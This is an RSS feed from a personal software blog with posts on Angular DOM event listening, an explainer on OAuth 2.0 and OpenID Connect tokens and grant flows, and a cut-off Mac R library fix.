<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Benohead&#039;s Software Blog</title>
	<atom:link href="https://benohead.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://benohead.com/</link>
	<description>Mac, Linux, MySQL, Sybase, Java, Wordpress and more..</description>
	<lastBuildDate>Thu, 29 Jun 2023 15:17:39 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.1.1</generator>
	<item>
		<title>Angular: Using a service to listen to DOM events</title>
		<link>https://benohead.com/blog/2019/01/16/angular-using-a-service-to-listen-to-dom-events/</link>
					<comments>https://benohead.com/blog/2019/01/16/angular-using-a-service-to-listen-to-dom-events/#respond</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Wed, 16 Jan 2019 09:40:37 +0000</pubDate>
				<category><![CDATA[Angular]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=9205</guid>

					<description><![CDATA[<p>In an Angular Component or a Directive, you can use the @HostListener decorator to listen to DOM events e.g.: @HostListener('document:click', ['$event']) private onClick(event: Event) { ... } Using the decorator is very convenient. Unfortunately, it doesn&#8217;t work in Angular services. In a service, you have two options: Using&#160;window.addEventListener Using rxjs&#160;fromEvent The first option looks like [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2019/01/16/angular-using-a-service-to-listen-to-dom-events/">Angular: Using a service to listen to DOM events</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-related-none yarpp-template-list'>

No related posts.
</div>
]]></description>
										<content:encoded><![CDATA[<p>In an Angular Component or a Directive, you can use the @HostListener decorator to listen to DOM events e.g.:</p>
<pre><code class="language-javascript">@HostListener('document:click', ['$event'])
private onClick(event: Event) {
    ...
}</code></pre>
<p>Using the decorator is very convenient. Unfortunately, it doesn&#8217;t work in Angular services. In a service, you have two options:</p>
<ol>
<li>Using&nbsp;window.addEventListener</li>
<li>Using rxjs&nbsp;fromEvent</li>
</ol>
<p>The first option looks like this:</p>
<pre><code class="language-javascript">document.addEventListener('click', () =&gt; {
    ...
});</code></pre>
<p>With the second option, it looks more angular-ishy:</p>
<pre><code class="language-javascript">import { fromEvent } from 'rxjs';

...

fromEvent(document, 'click').subscribe(() =&gt; {
  ...
});</code></pre>
<p>In order to test this (no matter which option, you&#8217;ve chosen above), you just need to do the following:</p>
<pre><code class="language-javascript">document.dispatchEvent(new MouseEvent('click'));</code></pre>
<p>&nbsp;</p>


                    <div class="container_share">  
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2019/01/16/angular-using-a-service-to-listen-to-dom-events/&amp;t=Angular: Using a service to listen to DOM events" target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span><p>Facebook</p></a>  
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2019/01/16/angular-using-a-service-to-listen-to-dom-events/&amp;text=Angular: Using a service to listen to DOM events" target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span><p>Twitter</p></a>
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2019/01/16/angular-using-a-service-to-listen-to-dom-events/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span><p>Google +</p></a>
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2019/01/16/angular-using-a-service-to-listen-to-dom-events/&amp;title=Angular: Using a service to listen to DOM events" target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span><p>Linkedin</p></a>  
        </div><p>The post <a rel="nofollow" href="https://benohead.com/blog/2019/01/16/angular-using-a-service-to-listen-to-dom-events/">Angular: Using a service to listen to DOM events</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-related-none yarpp-template-list'>
<p>No related posts.</p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2019/01/16/angular-using-a-service-to-listen-to-dom-events/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>OAuth 2.0 / OpenID Connect Explained</title>
		<link>https://benohead.com/blog/2018/07/05/oauth-2-0-openid-connect-explained/</link>
					<comments>https://benohead.com/blog/2018/07/05/oauth-2-0-openid-connect-explained/#comments</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Thu, 05 Jul 2018 15:19:15 +0000</pubDate>
				<category><![CDATA[OAuth]]></category>
		<category><![CDATA[OpenID Connect]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=9118</guid>

					<description><![CDATA[<p>OAuth and OpenID Connect OAuth (Open Authorization) is an open standard for API access delegation. Put simply, it&#8217;s a secure authorization protocols used to grant applications access to protected resources without exposing credentials. OpenID Connect (OIDC) is an authentication layer (i.e. an identity layer) on top of OAuth 2.0. Client applications can use it to [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/07/05/oauth-2-0-openid-connect-explained/">OAuth 2.0 / OpenID Connect Explained</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>OAuth and OpenID Connect</h2>
<p>OAuth (Open Authorization) is an open standard for API access delegation. Put simply, it&#8217;s a secure authorization protocols used to grant applications access to protected resources without exposing credentials.</p>
<p>OpenID Connect (OIDC) is an authentication layer (i.e. an identity layer) on top of OAuth 2.0. Client applications can use it to verify the identity of a subject (usually a user) based on the authentication performed by an authorization Server. It also provides basic profile information.O</p>
<h2>Authentication</h2>
<p>Authentication is the process of identifying an individual e.g. using a username and password. This basically involves checking whether a user exists and determining who this user is i.e. associating credentials with an identity. Or in other words authentication answers the question &#8220;who one is&#8221;. OAuth&nbsp;is a specification for authorization and is not an authentication protocol but is used as a basis for authentication protocols like OpenID Connect.</p>
<h2>Authorization</h2>
<p>Authorization is the process of giving a subject permissions to access resources in a certain way.</p>
<h2>OAuth 2.0 Roles</h2>
<p>OAuth defines the following roles:</p>
<ul>
<li>Resource Owner</li>
<li>Client Application</li>
<li>Resource Server</li>
<li>Authorization Server</li>
</ul>
<h3>Resource Owner</h3>
<p>The resource owner is an entity which can grant a client application a scoped access to a resource. It can be a person (usually the end-user) but can also be a machine.</p>
<h3>Client Application</h3>
<p>A client application is an application which accesses protected resources on the behalf of the resource owner.</p>
<h3>Resource Server</h3>
<p>The resource server manages access to a protected resource, allowing access based on access tokens. It is also often called an API server. The protected resources can e.g. be the profile or personal information of a user.</p>
<h3>Authorization Server</h3>
<p>The authorization server issues access tokens to authenticated client applications when permissions for the access are granted by the resource owner. This is the &#8220;OAuth2&#8221; server.</p>
<h3>OAuth 2.0 Role Interactions</h3>
<p><a href="https://benohead.com/wp-content/uploads/2018/07/OAuth-2.0-Interactions.png"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9173" src="https://benohead.com/wp-content/uploads/2018/07/OAuth-2.0-Interactions.png" alt="OAuth 2.0 Interactions" width="809" height="722" srcset="https://benohead.com/wp-content/uploads/2018/07/OAuth-2.0-Interactions.png 809w, https://benohead.com/wp-content/uploads/2018/07/OAuth-2.0-Interactions-300x268.png 300w, https://benohead.com/wp-content/uploads/2018/07/OAuth-2.0-Interactions-768x685.png 768w" sizes="(max-width: 809px) 100vw, 809px" /></a></p>
<h2>Tokens</h2>
<p>There are 3 types of tokens used when working with OAuth2 and OpenID Connect. Additionally, an authorization code is also defined.</p>
<ul>
<li>The ID token is defined in OpenID Connect on top of the tokens defined in OAuth2</li>
<li>The access token is the main token defined in OAuth2</li>
<li>The refresh token is used, well, to refresh a token</li>
<li>The authorization code is not a token in itself but can be used to get an access token</li>
</ul>
<p>&nbsp;</p>
<h3>ID Tokens</h3>
<p>ID Tokens are JSON Web Tokent (JWT) introduced by OpenID Connect. These tokens&nbsp;identify a user and contain user&#8217;s authentication information. They contain three parts:</p>
<ul>
<li>a header</li>
<li>a body</li>
<li>a signature</li>
</ul>
<p>In the token, each of these parts is encoded using Base64Url and concatenated using a &#8220;.&#8221; (dot) between them:</p>
<blockquote><p>Base64Url(header) + &#8220;.&#8221; +&nbsp;Base64Url(body) + &#8220;.&#8221; +&nbsp;Base64Url(signature)</p></blockquote>
<p>The body of the token contains a series of claims which provide data about the subject being identified by the token. The OpenID Connect specification doesn&#8217;t specify which claims have to be present in which context but does define &#8220;standard&#8221; claims (with registered claim names) and allows the use of custom claims. The registered claim names are:</p>
<ul>
<li>iss: it&#8217;s the issuer of the token.</li>
<li>sub: this claim identifies the subject for which the token was issued. It is at least unique within the scope of an issuer.</li>
<li>aud: this claim identifies the audience for this token. This is the intended recipient(s) for this token. If an entity is processing this token does not identify itself as part of this audience, the token will be rejected.</li>
<li>exp: this is the expiration time of the token. An entity processing this token should reject it once the expiration time is reached.</li>
<li>nbf: this is the &#8220;not before&#8221; claim i.e. it defines at which point in time this token will be valid from. An entity processing this token before this point in time should reject it.</li>
<li>jti: this is an identifier for this particular token which should be unique per issuers and only have a low probably of not being unique globally.</li>
</ul>
<p>Some claims are always added to the ID token by the authentication server and some claims depend on the scopes requested by the entity requesting the authentication.</p>
<p>Since the ID tokens contain privacy relevant data about subjects being identified, they should be kept confidential and access tokens should rather be used to access resources i.e. use the ID tokens to identify subjects and get data/metadata regarding the subject and access tokens to access resources / APIs.</p>
<p>This is how an ID token could look like:</p>
<pre><code class="language-javascript">{
  "https://benohead.com/country": "Germany",
  "https://benohead.com/timezone": "Europe/Berlin",
  "email": "henri.benoit@gmail.com",
  "email_verified": true,
  "iss": "https://auth.benohead.com/",
  "sub": "5b1789917b944931f4021e61",
  "aud": "q580zCRvynSeIg3uXCChcSRlYtNKSUPe",
  "iat": 1530800423,
  "exp": 1530836423
}</code></pre>
<h3>Access Tokens</h3>
<p>Access tokens allow a client application to access a protected resource and defines the scope of this allowed access. This token is provided by the client application to the resource server when accessing the resource e.g. as an HTTP header. Just like the ID token, the access token has a limited lifetime which is defined when the authorization server issues the token to the client application. Since it allows access to protected resources, it must be kept confidential as much as possible although this is not always possible especially when a web browser is involved.</p>
<p>This is how an access token could look like:</p>
<pre><code class="language-javascript">{
  "iss": "https://auth.benohead.com/",
  "sub": "5b3cd37722c8f80eecd338e5",
  "aud": "https://benohead/api/dummy/",
  "iat": 1530802106,
  "exp": 1530888506,
  "scope": "read update delete create"
}</code></pre>
<p>Note that in case the authorization server is also the resource provider (so if the audience matches the authorization server), you might also get an opaque access token which is just a string without any further meaning and which cannot be decoded. The authorization server can then map this string to permission on its own protected resources.</p>
<h3>Refresh Tokens</h3>
<p>Refresh Token are tokens containing information required to obtain a new ID token or access token. It is usually used to get a new token after the previous one expires. It is usually more secure to have short lived access tokens combined with refresh tokens, since it allows the authorization server to refuse to issue a new access token based on the refresh token in case the token has been compromised but still allow renewing the token in case access to a resource is required for a longer time. Without refresh token (and with long lived access tokens) a resource provider would need to query the authorization server to see whether the long lived access token is still valid. You can skip it when using short lived access tokens.</p>
<p>As an alternative to using refresh tokens, you could get a new access token with credentials every time a short lived access token expires. But there has a drawback: If you get the access token with user credentials (additionally to client credentials), you will need these user credentials every time your token expires (while you wouldn&#8217;t need the user credentials, just the client credentials, when using a refresh token).</p>
<h3>Authorization Codes</h3>
<p>Authorization codes are codes returned to unsecure clients. These client can then exchange them with an access and/or ID token in a more secure way.</p>
<p>They are used in the <a href="#authorization_code_flow">Authorization Code Grant Flow</a> which is a flow where the client is typically a browser which receives an authorization code from the authorization server and sends this to the web application which then interacts with the authorization server in the back-end to exchange the authorization code for an access token, a refresh token and/or ID token.</p>
<h2>Scopes and Audiences</h2>
<p>Scopes and audiences are used to handle multiple resource servers and multiple types of access permissions.</p>
<h3>Audience</h3>
<p>The JWT aud (Audience) Claim identifies the intended recipients of the token i.e. it allows an authorization server to issue tokens that are only valid for certain purposes.</p>
<p>An audience claim can either contain a list of strings (i.e. multiple audiences) or it can be a single string (i.e. there is only one intended audience). It does not matter if an audience value is a URL or some other application specific string.</p>
<p>Each recipient of such a token must validate that the audience specified in the token matches its own audience name. It must then reject any token that does not contain its own audience name in the intended audience. The authorization server which issues the token can only validate whether a token for this audience can be issued. It is the responsibility is the resource server to determine whether the token should be used or not. A resource server may choose to ignore the audience claim and accept any valid token.</p>
<p>So the audience claim is only useful if you want to issue tokens with different purposes (i.e. intended audiences) and if at least some of the APIs (resource servers) you are using are validating the audience claim.</p>
<h3>Scopes</h3>
<p>Scopes provide a way to limit the access to functionality provided by the resource servers. The client can request scopes to be provided in the issued access token. The authorization server can provide all requested scopes, some of them or even additional ones based on its internal rules/policies. The provided scopes are written in the scope claim in the access token.</p>
<p>So they basically act as permissions. Authorization servers also use them when getting the consent from the user (i.e. ask the user whether he really wants to provide the client application access to these specific scopes).</p>
<p>When the client then uses the issued access token to request access to a protected resource, the resource server will validate that the type of resource and the type of access match the scopes contained in the access token.</p>
<p>E.g. if your access token contains the scope claim &#8220;read:posts read:comments write:comments&#8221;, the resource server would allow an application presenting this token to have read access to the posts and read and write comments but not to create a new post.</p>
<h3>OpenID Connect Scopes</h3>
<p>The following scopes are defined in OpenID Connect:</p>
<ul>
<li>openid: this is the basic OpenID scope requesting to return the sub claim uniquely identifying the user and which can be used in combination with the scope values below.</li>
<li>profile: requests the authorization server to provide access to the user&#8217;s profile claims: name, family_name, given_name, middle_name, nickname, preferred_username, profile, picture, website, gender, birthdate, zoneinfo, locale, and updated_at.</li>
<li>email: requests the authorization server to provide access to the email and email_verified claims.</li>
<li>address: requests the authorization server to provide access to the address claim.</li>
<li>phone: requests the authorization server to provide access to the phone_number and phone_number_verified claims.</li>
</ul>
<h2>OpenID Connect Endpoints</h2>
<p>OpenID Connect defines 2 endpoints which can be used to request one or more of the token types described above:</p>
<ul>
<li>The Authorization Endpoint is usually an endpoint accessible with the URL &lt;authorizationserver&gt;/login or &lt;authorizationserver&gt;/authorize</li>
<li>The Token Endpoint&nbsp;is usually an endpoint accessible with the URL &lt;authorizationserver&gt;/token</li>
</ul>
<p>In some of the flows described <a href="#flows">below</a> (in the ones not requiring an authentication code), you might be connecting to either the authorization endpoint or the token endpoint (depending on you authorization server).</p>
<p>Additionally, it also defines the UserInfo endpoint&nbsp; which returns claims about the authenticated user.</p>
<h3>The Authorization Endpoint</h3>
<p>The authorization endpoint is an endpoint the user is sent to in order to:</p>
<ul>
<li>get authenticated by any supported method e.g. with a username and password, an existing session cookie or a federated identity provider such as a social login, SAML provider or ADFS integrated system</li>
<li>issue a token to the client application (or deny it). Optionally, it will request a user consent (or issue a consent implicitly by using an internal policy)</li>
</ul>
<p>The type of token being issued depends on the requested <a href="#response_types">response type.</a></p>
<h3>The Token Endpoint</h3>
<p>The token endpoint can exchange a grant (e.g. an authorization codeprovided by the authorization endpoint) for a token. The grant supported as input are usually:</p>
<ul>
<li>An authorization code</li>
<li>Client credentials i.e. a client ID and a client secret</li>
<li>A username and password</li>
<li>A refresh token</li>
</ul>
<h3>The UserInfo Endpoint</h3>
<p>The UserInfo endpoint returns claims about the authenticated user. This is&nbsp;an OAuth 2.0 protected resource so you need to provide an access token to access it.</p>
<p>Here is a sample response from this endpoint:</p>
<pre><code class="language-javascript">{
	"sub": "1761101158623",
	"name": "Henri Benoit",
	"given_name": "Henri",
	"family_name": "Benoit",
	"preferred_username": "benohead",
	"email": "henri.benoit@gmail.com",
	"picture": "https://secure.gravatar.com/avatar/bde998b4b8e4b4fb259d80b5ac05d63d"
}</code></pre>
<h2><a id="response_types"></a>OpenID Connect Response Types</h2>
<p>OpenID Connect defines an additional URL parameter called response_type. With this parameter, you can request different types of tokens to be returned. You can combine them by separating them by a space e.g. response_type=code id_token token.</p>
<ul>
<li>id_token: if this response type is specified, the authorization server will return an ID token</li>
<li>token: if this response type is specified, the authorization server will return an access token</li>
<li>code: if this response type is specified, the authorization server will return an authorization code</li>
</ul>
<h3>Response type: code id_token token</h3>
<p>When using this response type, the endpoints will issue the following tokens:</p>
<p>&nbsp;</p>
<table>
<tbody>
<tr>
<th>Endpoint</th>
<th>ID token</th>
<th>Access token</th>
<th>Authorization code</th>
</tr>
<tr>
<td>Authorization</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Token</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
</tbody>
</table>
<p>Note that the Token endpoint will never return an authorization code since it is an input for the token endpoint when the authorization code grant is used.</p>
<h3>Response type: id_token token</h3>
<p>When using this response type, the endpoints will issue the following tokens:</p>
<p>&nbsp;</p>
<table>
<tbody>
<tr>
<th>Endpoint</th>
<th>ID token</th>
<th>Access token</th>
<th>Authorization code</th>
</tr>
<tr>
<td>Authorization</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Token</td>
<td>Not used</td>
<td>Not used</td>
<td>Not used</td>
</tr>
</tbody>
</table>
<p>Note that the Token endpoint is not used in such cases.</p>
<h3>Response type: code id_token</h3>
<p>When using this response type, the endpoints will issue the following tokens:</p>
<p>&nbsp;</p>
<table>
<tbody>
<tr>
<th>Endpoint</th>
<th>ID token</th>
<th>Access token</th>
<th>Authorization code</th>
</tr>
<tr>
<td>Authorization</td>
<td>Yes</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Token</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
</tbody>
</table>
<p>Note that the Token endpoint will never return an authorization code since it is an input for the token endpoint when the authorization code grant is used.</p>
<h3>Response type: code token</h3>
<p>When using this response type, the endpoints will issue the following tokens:</p>
<p>&nbsp;</p>
<table>
<tbody>
<tr>
<th>Endpoint</th>
<th>ID token</th>
<th>Access token</th>
<th>Authorization code</th>
</tr>
<tr>
<td>Authorization</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Token</td>
<td>Yes/No</td>
<td>Yes</td>
<td>No</td>
</tr>
</tbody>
</table>
<p>The token endpoint will only return an ID token if scope openid is requested.</p>
<p>Note that the Token endpoint will never return an authorization code since it is an input for the token endpoint when the authorization code grant is used.</p>
<h3>Response type: id_token</h3>
<p>When using this response type, the endpoints will issue the following tokens:</p>
<p>&nbsp;</p>
<table>
<tbody>
<tr>
<th>Endpoint</th>
<th>ID token</th>
<th>Access token</th>
<th>Authorization code</th>
</tr>
<tr>
<td>Authorization</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Token</td>
<td>Not used</td>
<td>Not used</td>
<td>Not used</td>
</tr>
</tbody>
</table>
<p>Note that the Token endpoint is not used in such cases.</p>
<h3>Response type: code</h3>
<p>When using this response type, the endpoints will issue the following tokens:</p>
<p>&nbsp;</p>
<table>
<tbody>
<tr>
<th>Endpoint</th>
<th>ID token</th>
<th>Access token</th>
<th>Authorization code</th>
</tr>
<tr>
<td>Authorization</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Token</td>
<td>Yes/No</td>
<td>Yes</td>
<td>No</td>
</tr>
</tbody>
</table>
<p>The token endpoint will only return an ID token if scope openid is requested.</p>
<p>Note that the Token endpoint will never return an authorization code since it is an input for the token endpoint when the authorization code grant is used.</p>
<h3>Response type: token</h3>
<p>When using this response type, the endpoints will issue the following tokens:</p>
<p>&nbsp;</p>
<table>
<tbody>
<tr>
<th>Endpoint</th>
<th>ID token</th>
<th>Access token</th>
<th>Authorization code</th>
</tr>
<tr>
<td>Authorization</td>
<td>No</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Token</td>
<td>Not used</td>
<td>Not used</td>
<td>Not used</td>
</tr>
</tbody>
</table>
<p>Note that the Token endpoint is not used in such cases.</p>
<p>This scenario basically maps to the OAuth2&nbsp;<a href="#implicit_grant_flow">Implicit Grant Flow</a>.</p>
<h2><a id="flows"></a>OAuth 2.0 Grant Flows</h2>
<h3>Grant Types</h3>
<p>A grant type in OAuth 2.0 refers to the way an application gets an access token. OAuth 2.0 defines several grant types:</p>
<ul>
<li><a href="#authorization_code_flow">Authorization Code</a></li>
<li><a href="#implicit_grant_flow">Implicit</a></li>
<li><a href="#password_grant_flow">Password</a></li>
<li>Client Credentials</li>
<li>Device Code</li>
<li>Refresh Token</li>
</ul>
<p>Extensions can also define new grant types. Each grant type maps to a different use case. E.g. using a native application, a web application, single page applications, machine-to-machine applications&#8230;</p>
<h3>Which flow should I use ?</h3>
<p>Depending on which type of application you are developping and your ability to open a browser window or store client secrets securely, you will choose one of the flows above.</p>
<p>&nbsp;</p>
<table>
<tbody>
<tr style="height: 50px">
<th>Application Type</th>
<th>Grant Flow Type</th>
</tr>
<tr style="height: 50px">
<td>Web Server Application</td>
<td><a href="#authorization_code_flow">Authorization Code Grant</a></td>
</tr>
<tr style="height: 75px">
<td>Single Page Application</td>
<td><a href="#implicit_grant_flow">Implicit Grant</a><br />
<a href="#authorization_code_flow">Authorization Code Grant with public client</a></td>
</tr>
<tr style="height: 50px">
<td>Backend Server Application</td>
<td><a href="#">Client Credentials Grant</a></td>
</tr>
<tr style="height: 75px">
<td>Native Application</td>
<td><a href="#authorization_code_flow">Authorization Code Grant with PKCE</a><br />
<a href="#authorization_code_flow">Authorization Code Grant with public client</a></td>
</tr>
<tr style="height: 50px">
<td>Native Application with no Browser Window</td>
<td><a href="#password_grant_flow">Resource Owner Password Credential Grant</a></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p>Note that when you have a native application without the possibility to open a browser window your only solution is to use the password grant but this solution is still not ideal since this forces the user to enter his/her credentials in your application. So this requires some level of trust from the user.</p>
<h3><a id="authorization_code_flow"></a>Authorization Code Grant Flow</h3>
<p>The Authorization Code grant type is used by web and mobile apps. It can only be used if the client application is able to open a web browser. It is considered more secure than the <a href="#implicit_grant_flow">implicit grant flow</a> because it doesn&#8217;t provide the access token directly in a callback URL parameter but provides a code which can then be exchanged with an access token from a web server or a native app.</p>
<p><a href="https://benohead.com/wp-content/uploads/2018/07/Authorization-Code-Grant-Flow.png"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9141" src="https://benohead.com/wp-content/uploads/2018/07/Authorization-Code-Grant-Flow.png" alt="OAuth 2.0 Authorization Code Grant Flow" width="996" height="664" srcset="https://benohead.com/wp-content/uploads/2018/07/Authorization-Code-Grant-Flow.png 996w, https://benohead.com/wp-content/uploads/2018/07/Authorization-Code-Grant-Flow-300x200.png 300w, https://benohead.com/wp-content/uploads/2018/07/Authorization-Code-Grant-Flow-768x512.png 768w" sizes="(max-width: 996px) 100vw, 996px" /></a></p>
<p>You can see the authorization code flow in action on the OAuth&nbsp;<a href="https://www.oauth.com/playground/authorization-code.html">playground</a>. The corresponsing OpenID Connect flow (so involving an ID token) can also be checked on the OAuth <a href="https://www.oauth.com/playground/oidc.html">playground</a>.</p>
<p>This flow is mainly aimed at web application running on a server where the backend can act as a confidential client i.e. can keep both the client secret and the issues access token secure. So the client identity can be securely assessed and the access token is only shared between the autorization server, the backend of the web application and the resource server.</p>
<p>With single page application or other javascript heavy application or native application installed on a desktop computer or a mobile device, it is not possible to keep the client secret secure on the client side. And if such applications have no control on a server side component or this component is not appropriate for taking over the role of the client application in OAuth2 flows, they are considered public client.</p>
<p>When such a public client use the Authorization Code Grant, they cannot authenticate themselves as a client but can still authenticate the user. So the capabilities of the authorization server are somewhat limited since it cannot control which applications are allowed to get an access token in the name of the resource owner. Actually the authorization server cannot even make sure that the application exchanging the authorization code for an access token is actually the same application which got the authorization code. This is a much bigger issue since anyone getting hold of the authorization code could go to the authorization server and get an access token pretending to be the application which got the code.</p>
<p>To mitigate this risk, you can use a&nbsp;Proof Key for Code Exchange. This basically just means that when request the authentication code, you provide a secret called &#8220;code verifier&#8221; that you generate on the fly and use only in the scope of the authorization flow. The authorization server will associate the code verifier to the returned authorization code (it will not return it together with the code). When the application then wants to exchange the code for an access token, it also provides the code verifier which can be checked by the authorization server before returning an access token.</p>
<p>You can also see the authorization code flow with PKCE in action on the OAuth <a href="https://www.oauth.com/playground/authorization-code-with-pkce.html">playground</a>.</p>
<h3><a id="implicit_grant_flow"></a>Implicit Grant Flow</h3>
<p>The implicit grant flow is a flow where the authorization server directly returns an access token in a URL fragment. Unlike the Authorization Code Grant Flow it doesn&#8217;t the client application to exchange an authorization code for a token. Originally, it was the recommended &#8220;best practice&#8221; for all browser based apps. This flow is now mostly used in SPA (Single Page Applications &#8211; JavaScript application running in the browser). For other server based web application, you would rather use the Authorization Code Grant Flow.</p>
<p><a href="https://benohead.com/wp-content/uploads/2018/07/Implicit-Grant-Flow.png"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9140" src="https://benohead.com/wp-content/uploads/2018/07/Implicit-Grant-Flow.png" alt="OAuth 2.0 Implicit Grant Flow" width="768" height="634" srcset="https://benohead.com/wp-content/uploads/2018/07/Implicit-Grant-Flow.png 768w, https://benohead.com/wp-content/uploads/2018/07/Implicit-Grant-Flow-300x248.png 300w" sizes="(max-width: 768px) 100vw, 768px" /></a></p>
<p>You can see the implicit flow in action on the OAuth&nbsp;<a href="https://www.oauth.com/playground/implicit.html">playground</a>.</p>
<h3><a id="password_grant_flow"></a>Password Credential Grant Flow</h3>
<p>The password grant is probably the easiest (and least secure) grant type. In this flow, the application needs to know the user credentials and pass them to the authorization server.</p>
<p><a href="https://benohead.com/wp-content/uploads/2018/07/Resource-Owner-Password-Credentials-Grant-Flow.png"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9154" src="https://benohead.com/wp-content/uploads/2018/07/Resource-Owner-Password-Credentials-Grant-Flow.png" alt="Resource Owner Password Credentials Grant Flow" width="684" height="389" srcset="https://benohead.com/wp-content/uploads/2018/07/Resource-Owner-Password-Credentials-Grant-Flow.png 684w, https://benohead.com/wp-content/uploads/2018/07/Resource-Owner-Password-Credentials-Grant-Flow-300x171.png 300w" sizes="(max-width: 684px) 100vw, 684px" /></a></p>
<p>It is recommended to avoid this flow as much as possible. The main issue bing that the client needs to know you credentials. Imagine you want to allow the great benohead.com app to get your name from Facebook but you have to give it your password and trust the app will not start friending random strangers or posting inappropriate messages or just shut you out by changing your password.</p>
<p>&nbsp;</p>
<div class="container_share">
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2018/07/05/oauth-2-0-openid-connect-explained/&amp;t=OAuth 2.0 / OpenID Connect Explained" target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span></p>
<p>Facebook</p>
<p></a><br />
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2018/07/05/oauth-2-0-openid-connect-explained/&amp;text=OAuth 2.0 / OpenID Connect Explained" target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span></p>
<p>Twitter</p>
<p></a><br />
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2018/07/05/oauth-2-0-openid-connect-explained/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span></p>
<p>Google +</p>
<p></a><br />
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2018/07/05/oauth-2-0-openid-connect-explained/&amp;title=OAuth 2.0 / OpenID Connect Explained" target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span></p>
<p>Linkedin</p>
<p></a>
        </div>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/07/05/oauth-2-0-openid-connect-explained/">OAuth 2.0 / OpenID Connect Explained</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2018/07/05/oauth-2-0-openid-connect-explained/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>R: libgfortran &#8211; Library not loaded</title>
		<link>https://benohead.com/blog/2018/05/29/r-libgfortran-library-not-loaded/</link>
					<comments>https://benohead.com/blog/2018/05/29/r-libgfortran-library-not-loaded/#respond</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Tue, 29 May 2018 21:55:52 +0000</pubDate>
				<category><![CDATA[Mac]]></category>
		<category><![CDATA[R]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=8882</guid>

					<description><![CDATA[<p>If you get the following error message after installing R on your mac: $ R dyld: Library not loaded: /usr/local/lib/gcc/5/libgfortran.3.dylib Referenced from: /usr/local/Cellar/r/3.2.0_1/R.framework/Versions/3.2/Resources/lib/libR.dylib Reason: image not found Trace/BPT trap: 5 You&#8217;ll need to reinstall gcc with the &#8211;with-fortran option: brew reinstall gcc5 --with-fortran &#160; Facebook Twitter Google + Linkedin</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/05/29/r-libgfortran-library-not-loaded/">R: libgfortran &#8211; Library not loaded</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->

